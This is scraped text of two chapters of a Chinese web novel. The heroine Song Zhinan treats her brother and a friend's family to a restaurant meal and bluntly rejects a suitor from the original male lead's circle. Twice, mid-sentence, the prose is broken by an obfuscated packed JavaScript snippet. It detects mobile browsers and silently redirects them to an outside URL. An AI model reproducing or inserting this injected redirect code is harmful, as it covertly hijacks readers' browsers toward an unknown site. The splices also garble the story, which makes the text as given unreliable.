她听说厂里的年轻男同志私下里达成了协议,他们谁也不准跟宋知南处对象。他们觉得纺织厂女多男少,他们都是香饽饽,他们这么孤立宋知南,宋知南不吓坏了才怪。 宋知南听说后,心情相当愉悦:就算换个时代,她还是一样可爱。随便做点什么说点什么,都能引起对面紧张破防。还团结起来不跟她搞对象,这种恐吓就相当于狗威胁人类不准吃屎一样,太吓人了。她打算用杠精值兑换个肉包子压压惊。 19.第19章冤家路窄 妇联的工作是忙的时候特别忙,闲的时候特别闲。宋知南合理安排好时间,没人来访的时候就抓紧时间看资料和报纸杂志,做工作记录,为以后投稿积攒素材。 每个时代有每个时代的特色,她还得揣摩这个时代的行文风格,不能太出格,也不能千篇一律。 宋知南每天的生活充实而忙碌,午饭一般在食堂吃,晚饭回家吃。一回到家,她就继续进行洗脑驯化宋冬宝和宋知夏的大业,尤其是宋冬宝,最近效果很显著。 这天下班后,宋知南用杠精值在系统商城买了三个肉包子,路上吃了一个,拿回家两个,她一到家就塞给宋冬宝一个冒着热气的肉包子,宋冬宝喜出望外,难以置信地问:“姐,包子是给我的?” 宋知南:“那当然,你是我亲弟弟,我不给你给谁?赶紧吃,别让二姐和爸妈看到了。” 宋冬宝的眼睛眯成了一条缝隙:“哎哎。” 他已经好久没吃到肉了,迫不及待地咬了一口包子,一口就吃到肉馅了,这包子肉真多呀,不像他妈过年包的肉包子,三口咬下去都吃不到馅,一整个包子吃下来,只有满嘴的萝卜白菜,根本找不到肉在哪里。 肉包子给宋冬宝香迷糊了。这一瞬间,他对宋知南这个姐姐的姐弟情得到了升华。以前的他真是太混蛋了,总是跟姐姐作对,姐姐打他打得对。 宋冬宝几口下去就把肉包子干掉了,他舔舔嘴唇,真是意犹未尽。 宋知南说道:“等我下月发了工资,咱们偷偷去下馆子。” 宋冬宝的眼睛又眯成了一条缝:“姐,你对我真好。那什么,我去做饭了。” 宋冬宝哼着歌儿去做晚饭,宋知夏回来后也自觉去厨房帮忙。 宋知南跟宋冬宝说了一声,拿着稿纸和笔去了他的房间。 她和宋知夏的房间又小又暗,桌子和椅子高度不协调,坐着写字特别不舒服。不像宋冬宝和宋秋实的房间宽敞明亮,书桌和椅子也是最好的。明明这两人都不爱学习,书桌只是摆设。但父母宁愿把书桌放在儿子屋里当摆设,也不给她们两个用。要是她还找不着房子,不如就跟宋冬宝换房间。 宋知南简单收拾了一下乱糟糟的书桌,开始坐下来奋笔疾书。 她一直写到宋冬宝叫她吃晚饭才停下。宋知南出来时,宋上进和李玉华已经回来了。宋上进脸色还算正常,男人嘛,无论是谁都不会太影响他们的生活。 李玉华仍旧神色抑郁,充满着怨气。她视宋知南为无物,想跟以前一样,用精神压迫她。可惜她失算了,宋知南该吃吃该喝喝,什么破事都不往心里搁。回到家里啥事都不管,顿顿能吃三大碗。 当李玉华对宋知南进行死亡凝视时,宋知南在干饭;当宋上进用失望的目光望着宋知南唉声叹气时,她还在干饭。 宋冬宝向宋知南投去服气的目光,宋知夏暗暗投去羡慕佩服的目光。 宋知南干了三碗饭,吃到八分饱时自律地停下。 她用眼睛扫一扫在座的各位,她越看这几个人越不正常,全家就她精神状态最正常。果然,这个世界就是个巨大的精神病院,你要天天跟精神病人计较,日子还过不过了? 现在的宋家在宋知南的引领下形成了一种诡异的氛围:怪异而又和谐。 宋冬宝积极配合宋知南,宋知夏半推半就地配合。宋上进要的只是表面的和谐,至于私底下如何,他也懒得管。全家只有李玉华还在内耗难受。宋知南视她为无物,她难受是因为她想难受,那就让她难受。 宋知南暗自感慨:做人就是不能太懂事,你只要形成自己的行事风格,身边的人就会自觉主动地调整自己来适应你。现在的宋家一半人在适应她,另一半人迟早也会适应她的。 宋知南努力了几天,写了三篇文章分别投往《龙国纺织》、《妇女报》和本地晚报,买邮票时,她顺带多买了几张收藏。 日子一天天地过去,终于到了次月发工资的时间,宋知南上班的时间只有半个月,发了18块钱。钱不多,但挡不住她心情好。她下了班特意去工厂大门口等魏芬,告诉她这周日要请客,魏芬的两个女儿也从娘家接回来了,刚好一起请。 魏芬笑着说:“你还真要请客啊,你上次不是已经跟我分享过你的喜悦了吗?” 宋知南神色郑重:“那不一样的,我说请客就得请,做人要讲信用。这次还有我弟,我们很少下馆子,正好解解馋。” 魏芬推辞两次,见宋知南是真心要请也就同意了。 魏芬回家跟女儿小婵小娟一说,姐妹俩都高兴得蹦起来。下馆子谁不喜欢呢。 宋知南回到家就告诉宋冬宝这个周日她请客下馆子,宋冬宝激动得一蹦三尺高:“姐,真的假的?你不会逗我玩吧?” 宋知南白了他一眼:“不信啊,那你别来。” “信信,我当然信,姐你说啥我都信。” 宋冬宝试探道:“姐,就咱俩呀,还有别的人吗?” “魏芬姐和她的两个孩子也一起去。” 宋冬宝不解地问:“干吗请她呀?” “我能找到工作就是靠她提供的消息,记得替我保密啊。” “你尽管放心,我肯定替你保密。” 魏芬帮宋知南找工作的事,开始是宋知南要她保密。后来,宋秋实下乡,宋家闹得鸡飞狗跳的。魏芬也没敢跟别人说,同时也悄悄嘱咐宋知南不要声张,怕的就是李玉华和宋上进迁怒于她。毕竟大家都是一个家属院的,低头不见抬头见,闹僵了不太好。 宋知南对附近的国营饭馆不太了解,就问宋冬宝:“附近哪个饭馆比较好?” 宋冬宝想了想说:“咱们去群众饭店吧,价格实惠,量大好吃,服务员态度也还行。不像红星饭馆的服务员,他们打骂顾客。” “行,那咱们就去群众饭店。” 盼望着,盼望着,星期天到了。 宋冬宝今天起得格外早,做早饭做得格外带劲。虽然做得带劲,但他吃得很少,他要空着肚子去饭店吃。 宋知南正常吃饭,上午1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14649715|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1点,她和宋冬宝收拾妥当,一起去叫魏芬。魏芬换了身外出穿的衣裳,给两个女儿梳了好看的小辫,换好衣裳。 这俩孩子大的叫小婵,今年六岁,小的叫小娟,四岁半,两人长得圆脸圆眼,胖胖乎乎的,特别可爱。两个孩子也挺懂礼貌,一见到宋知南就叫南姑姑,喊宋冬宝叔叔。 宋知南笑着纠正道:“我管你妈叫姐,你们就叫我南姨。” 两个小孩立即乖巧的改口:“南姨。” 五个人说说笑笑地出了院子,朝群众饭店走去。 到了饭店,人不算多,服务员态度不算热情也不算恶劣。宋冬宝眼疾手快地抢了个离厨房门口近的座位。 宋知南看黑板上的今日供应,就点了红烧鱼、红烧小排、尖椒炒豆腐、炒青菜、菠菜鸡蛋汤和一斤米饭,她想着有孩子在,又点了两根麻花。 魏芬在一旁听着宋知南报菜名,忍不住替她肉疼,她劝道:“小南啊,就咱们三个人别点那么多,吃不完。” 宋知南笑着说:“魏姐,点得不多,咱们有五个人呢。” 魏芬说:“两个孩子又不算人。” 小婵和小娟一脸茫然:“她们不算人,算什么?” 饭店主食要粮票,菜不用粮票。红烧鱼5毛钱一盘,红烧小排3毛,尖椒豆腐2毛钱,一碗菠菜鸡蛋汤2毛,麻花1毛五一根,米饭2毛钱加一斤粮票。一共才花了不到2元钱。 上菜速度不算快,他们等了二十多分钟,菜才陆陆续续地上来。 菜量确实挺大,看颜色也不错。宋知南每样尝了一口,味道挺不错。 宋冬宝乐得像过年似的,一边吃一边说:“姐,你真的是我亲姐。” 魏芬笑道:“她本来就是你亲姐。” 宋知南热情地招呼魏芬和两个孩子:“姐你多吃点鱼和肉,小婵小娟会吃鱼吗?” “我帮她们挑刺。” 两个孩子也是十分高兴,小婵说道:“妈妈,我要快些长大,长大了好上班挣工资,天天来饭馆吃饭。” 宋知南:“等你上班了就知道还是上学好。” 小婵不信,上学有什么好呢,又没有工资。肯定是上班好,大人都爱骗小孩。 三个大人一起看着她们笑,这人呐,小时候总是盼着快快长大,长大了觉得还是小时候好。 五个人边吃边聊,吃了一个小时,四菜一汤连带米饭,一点都没剩下,两根麻花每人尝了一小截,剩下的归两个孩子。俩孩子都摸着小肚子说吃撑了。 大家说说笑笑离开饭店,魏芬要去供销社买东西,宋冬宝要去找同学玩,宋知南则准备去新华书店看看,三人在路口分开,各自行动。 要去新华书店,得穿过文化广场。宋知南大步朝前走,在广场中央与一群年轻男女迎面相逢。别的人她不认识,但一眼认出了人群中的C位人物——原书男主霍峥嵘,原书女主江茶,男俊女美,其他人都是陪衬。宋知南面无表情地穿过他们,突然,人群中有个男生叫住她:“宋知南。” 20.第20章这福气给你要不要啊? 有人认识她?宋知南只好停住脚步,循着声音看过去,喊她的是一个大约十六七岁、长相猥琐、身材矮小瘦弱的男生。 宋知南看他有些面熟,赶紧调动脑中的记忆,很快就搜索出来了,此人名叫陈青,是她的初中同班同学。陈青从小父母双亡,跟爷爷奶奶相依为命,为人十分孝顺。家境不好再加上他长得瘦小,没少被同学孤立欺负,宋知南也被孤立过,看他可怜就替他说过几次话,但也仅此而已,这个时代还是挺保守的,两人私下里也没怎么来往过。 陈青一出现,宋知南脑中的剧情线就被触发了。她想起来了,这个陈青是男主霍峥嵘的忠实小弟,帮着霍峥嵘和女主江茶做黑市生意,后来也跟着发达了。 江茶除了喜欢男主,还喜欢帮助跟男主有关的男人,还喜欢拉郎配。 男主的一众小弟,不管是丑的花的阴郁的还是阳光的,都被江茶给分配了老婆。因为这,男主的一众小弟对江茶是百般夸赞。这些小弟们和媳妇有了矛盾,也是江茶这个大嫂前去调解,江茶总是四两拨千斤,云淡风轻地把事情给解决了,大家一起佩服夸赞江茶。 宋知南这个原书中的十八线女配,没有服从女主的分配。陈青因为宋知南帮助过他,就对她产生了别样的感情,曾追求过宋知南。按照原书中的时间线,原来的宋知南已经替代宋秋实下乡了,她去的地方是宋上进的老家。不久之后,陈青去乡下收购东西顺带看望下乡的朋友,正好碰见了宋知南,便对她表达了心意。宋知南拒绝了,说当时帮他只是同病相怜,没有别的意思。 这本是正常的拒绝,但陈青却觉得宋知南拒绝自己是因为嫌他穷,于是他一直憋着一口气想要出头。霍峥嵘和他的小弟们也为陈青鸣不平,觉得宋知南没眼光、嫌贫爱富。 后面,宋知南先嫁渣男后嫁鸡贼男,江茶和霍峥嵘提起她时,云淡风轻地说道:“这个宋知南看男人的眼光真差,她唯一幸福的机会就是嫁给陈青,结果这么好的机会被她亲手推开了。” 霍峥嵘也说:“有的女人摆不正自己的位置,看男人又只会看表面,下场凄惨也是活该。” 宋知南对此只想当面吐槽:“你们二位看人不看表面,倒是去找丑的穷的残的呀。江茶为什么不选择陈青呢?” 在原书中,凡是看不上男主以及男主兄弟的女人无一例外下场凄惨,别问,问就是作者让的。电视剧这么拍,小说也这么写,莫欺少年穷,男主和他的狗都不能欺,欺了就是三十年河东三十年河西,女配一定会悔不当初哭唧唧。 宋知南想得虽多,但很多东西都是一闪而过,倒也没有思索太久。 她很快就回过神来,打量了一眼陈青,怪不得原主拒绝他,这人长得又矮又瘦,个头跟她差不多,而且长相猥琐,女主评价他不可貌相,本质上义气又善良,最主要的是特别孝顺,但那又怎样?他孝顺自己的爷爷奶奶不是应该的吗?他孝顺义气善良,宋知南就得接受他的表白? 陈青看着宋知南,目光闪烁,抓耳挠腮:“那个知南,我前些日子听说你下乡了,原来你没去啊。” 宋知南:“我哥下乡去了。” “哦哦。” 两人说着话,霍峥嵘那一帮小弟你推我我推你,彼此之间挤眉弄眼,一个个目光炯炯地盯着陈青,陈青的脸越来越红,越来越手足无措。他看了一眼霍峥嵘,这可是他大哥,他如今身份跟以前可不一样了,想到这里,陈青立即勇气大增,便勇敢地向宋知南发起了邀约:“知南,我们一会儿要去看电影,你也一起来吧,我请你。” 说完,他紧张地盯着宋知南。 霍峥嵘的小弟们终于按捺不住,开始起哄:“是啊,宋同学,咱们一起去看电影吧,我们陈青是真心邀请你,你可得给面子。” 江茶款款地向宋知南走来,热情大方的自我介绍道:“你好,我叫江茶。你看队伍里不止你一个女孩,咱们大家一起去吧。” 陈青后知后觉,赶紧用骄傲的语气给宋知南介绍:“知南,这位是江茶同志,在咱们纺织厂广播站工作。” 接着,他用更骄傲的语气介绍霍峥嵘:“这位是霍哥,你一定听说过吧?” 宋知南客气地冲两人点头致意:“江同志好,霍同志好。” 接着宋知南毫不迟疑地拒绝道:“陈青同学,谢谢你的邀请,不过我今天还有事,电影就不看了。再见。” 陈青呆愣在哪里,不知道接下来该说什么好。 有人朝他使眼色,陈青赶紧问:“那你什么时候有空?” 宋知南的语气跟刚才一样坚决:“我一直很忙,再见陈青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14649716|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同志。” 陈青没料到宋知南会当众拒绝得这么干脆,又窘又气又不知所措。 宋知南想的是拒绝就要干脆,不要给人任何幻想。而且她不想跟男女主的人有任何牵扯,能离多远就离多远。 宋知南转身离开,她以为事情就到此结束了。没想到半路杀出个程咬金,一个铁塔似的男人挡在她面前。 此人长得五大三粗,又黑又壮,看不出真实年龄,说他二十多也行,三十多也可以,说话也是粗声粗气:“我说这位宋同志,我们陈青看上你那是你的福气,你这人真是不知好歹。” 宋知南看着面前这人,冷笑道:“他看上我就是我的福气?这福气给你你要不要啊?你这么欣赏他,你俩就一起过呗?” 众人:“……” 铁塔男虎目圆睁。 杠精系统:杠精值加5。 霍峥嵘见两人争执起来了,不禁眉头一蹙,他一皱眉,江茶就察觉到了,她脚步轻快地过来,对宋知南说:“宋同学,这位是李松同志,大家都叫他李逵,他这人心直口快没什么心眼。他的话你别往心里去。” 接着,她又替陈青说好话:“陈青同志是我们大家的好朋友,我们早听他提过你,说你当初在班里没少帮他,他也没别的意思,就是想回报你的情谊,咱们革命儿女就讲究一个大大方方,你不要这么害羞嘛。” 宋知南听到李松和李逵,脑中的剧情线再次被触发,嗯,这个李松是霍峥嵘最忠心的小弟之一,就相当于宋江身边的李逵,对霍峥嵘是无脑维护,而且武力值很高。不过此人脑子不好,破坏力强,大男子主义严重,宋知南本能地讨厌这类人。 宋知南对江茶面带微笑:“江茶同志,你的名字挺好,让我想起了我家里62年的龙井。如果你觉得陈青同志人很好,这福气也可以给你。你不要只盯着霍同志嘛,江湖儿女,讲究的就是一个雨露均沾。” 江茶:“……” 系统:杠精值加50。 宋知南说完这些,用力推开人群,大步离开。 正要过来替江茶说话的霍峥嵘面容阴郁地看着宋知南的背影。 不知道为什么,宋知南一接近原书男女主就感觉胸口发闷,情绪也变得暴躁。 想不通的事她干脆就不想了。